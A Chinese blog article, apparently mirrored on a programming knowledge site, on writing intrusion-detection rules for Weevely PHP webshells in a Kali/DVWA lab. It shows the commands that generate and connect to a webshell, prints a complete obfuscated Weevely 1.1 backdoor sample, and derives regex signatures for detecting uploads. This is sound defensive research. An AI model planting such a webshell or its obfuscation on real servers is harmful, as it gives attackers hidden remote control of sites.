IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 入侵检测——weevely -> 正文阅读

[PHP知识库]入侵检测——weevely

介绍

Weevely工具Python语言编写,集生成木马与加连接于一身,相当于Linux中的中国菜刀,但只适用于php网站,已经加入Kali豪华大礼包中。在Kali1.0中集成的低版本V1.1更是功能强大,支持图片与.htaccess两种绕过方式。新版本中将这两种功能阉割掉了,但是生成的木马文件仍然进行了加密处理。
?

在实操过程中发现,使用weevely生成的webshell,webshell存在一定特征,可以编写规则进行检测,即:可以检测webshell上传。但是webshell建立连接时是没有流量产生的,不能写规则;并且建立连接之后执行的命令,特征太弱,不能写规则。综上所述,目前只能编写上传webshell的规则。

使用环境

kali2021.2自带的weevely是4.0.1版本,IP地址:192.168.239.141
靶机环境是dvwa,靶机IP地址:192.168.239.131

生成webshell

weevely generate 密码 路径 文件名

在这里插入图片描述

上传webshell

在这里插入图片描述

在流量包中可以看到webshell内容
在这里插入图片描述

连接webshell

weevely shell文件地址 密码
  1. 访问webshell地址,发现是空白页面,很好

在这里插入图片描述

  1. 连接webshell

在这里插入图片描述

由此,建立webshell连接的过程不能编写规则,进行拦截。

命令执行

输入用来进行信息探测的命令:system_info
在这里插入图片描述

整个过程中会产生多个数据流,以前两个为例,看似请求体和响应体存在一些特征。
在这里插入图片描述
在这里插入图片描述

那么,现在重新生成一个新的webshell,并进行命令执行,拿前两个数据流为例进行分析如下
在这里插入图片描述

在这里插入图片描述

可以发现,不同密码的webshell,只有响应体存在一点共同之处。但是,不足以编写规则。在Weevely Webshell入侵检测之小试牛刀中,作者说可以在响应体的基础上,通过长度限制,来进行辅助检测,这个就有点扯淡了。不是他说的不对,而是不完全对,有的命令在执行的时候,确实如此,有的命令执行的时候却并非如此。甚至相同的命令ipconfig,我昨天测试的时候可以抓到符合作者描述的包,今天测试的时候就抓不到符合描述的包了。

再如,使用net_scan 192.168.239.131 1-100命令进行端口扫描,就根本没有符合作者长度限制的数据包。
因此不足以编写规则。

编写规则

通过上面的分析,唯一可以确认的是,可以对上传webshell的过程进行拦截。然而,不同版本的 Weevely 产生的webshell特征是不同的。

4.0.1版本

通过大量的webshell测试发现,下面红框中的内容是固定格式
如下图,第1个红框中的内容可以作为辅助特征,第二个红框中的内容作为主要特征
在这里插入图片描述

  1. 匹配辅助特征\x3c\x3fphp[\s\n]\x24\w\x3d

在这里插入图片描述

  1. 匹配主要特征

\x24\w\x3dstr_replace\x28\x27.{1,20}\x27\x2c\x27\x27\x2c(\x24\w\x2e)+\x24\w.?\x24\w=\x24\w\x28\x27\x27\x2c\x24\w\x29\x3b\x24\w\x28\x29\x3b.?\x3f\x3e
在这里插入图片描述

1.1版本

内容如下
通过多个shell对比发现:

  1. 第1~2行可以作为弱特征规则化
  2. 第2行的一串base64编码内容,有的是以等号结尾,有的不是,不能作为特征
  3. 第3~5行,特征一般,由于前5行的顺序是随机的,所以不好使用正则进行规则化。
  4. 第6行出现了str_replace,可以作为弱特征。
  5. 第7~10行,格式基本固定,只是参数每次都不一样,可以规则化
<?php
$hhhj="pbihhcxfnJheV9zbGljZSxfgkxfYSwkYygkYSxfktxfMykpKSkxfpO2VjaG8gJzwvJy4kay4nPxfic7fQ==";
$opqh="ZWdfcmVwbGFjZShhcnJheSgnLxf1teXHxfcxf9XHNdLxfycsJy9ccy8nKSwgYXJyYXkoJyxfcsJysnKSwgam9";
$vtbk="JGM9xfJ2NvdW50JzxfskYT0kXxf0NPT0xftJRTtpZixfhxfyZXNldCgkYSk9PScxMScgJiYgxfJGMoJGEpPjMp";
$mzby="eyRrxfPScxMxfTExJztlxfY2hvICc8Jy4kay4xfnPic7ZXZhbChxfiYXNlxfNjRxffZGVjb2RlKHBy";
$gkpi = str_replace("u","","usturu_uruepuluace");
$emin = $gkpi("q", "", "qbqaqsqeq6q4_dqeqcoqdqe");
$zrrs = $gkpi("m","","mcmrmemamtme_mfmunmcmtiomn");
$fbkq = $zrrs('', $emin($gkpi("xf", "", $vtbk.$mzby.$opqh.$hhhj))); $fbkq();
?>

第1个弱特征\x3c\x3fphp[\s\n]\x24\w+\x3d
在这里插入图片描述

第2个弱特征
\x24\w{4}\s+\x3d\s+str_replace\x28\x22\w\x22\x2c\x22+\x2c\x22[a-z]+\x5f[a-z]+\x22\x29\x3b
在这里插入图片描述

第3个主特征
(\x24\w{4}\s+\x3d\s+\x24\w{4}\x28\x22\w+\x22\x2c\s*\x22\x22\x2c\s*\x22\w+\x22\x29\x3b[\s\n])+\x24\w{4}\s+\x3d\s+\x24\w{4}\x28\x27+\x2c\s+\x24\w{4}\x28\x24\w{4}\x28\x22\w+\x22\x2c\s+\x22+\x2c\s+(\x24\w{4}\x2e){3}\x24\w{4}\x29+\x3b\s+\x24\w{4}\x28\x29\x3b
在这里插入图片描述

规则

把上面的特征进行整合即可的得出规则,规则略

参考

Kali-Weevely工具使用详解
weevely(php菜刀)基本使用
Weevely Webshell入侵检测之小试牛刀

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-27 11:38:35  更:2021-08-27 11:38:37 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/21 3:12:30-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码